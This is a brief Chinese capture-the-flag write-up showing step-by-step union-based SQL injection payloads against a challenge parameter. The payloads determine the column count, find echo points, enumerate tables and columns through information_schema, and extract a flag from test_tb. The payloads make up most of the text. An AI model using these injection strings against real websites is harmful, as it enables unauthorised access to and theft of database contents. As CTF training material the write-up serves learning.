文章描述了一次针对数据库的SQL注入尝试过程，包括查看源代码中的参数、检测字段数、回显点查询、获取数据库表信息以及flag数据的提取。这些操作展示了攻击者试图获取敏感数据的技术手段。
打开题目，先查看源代码，发现参数是wllm
先试一下 ?wllm=1
判断字段数
?wllm=1' order by 1/2/3 --+，发现到4不行，说明字段数为3
查看回显点
?wllm=-1' union select 1,2,3 --+
查看数据库信息
爆表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+
说明有两个表test_tb和users
先爆test_tb
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb' --+
查flag
?wllm=-1' union select 1,2,group_concat(flag) from test_tb --+
784
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
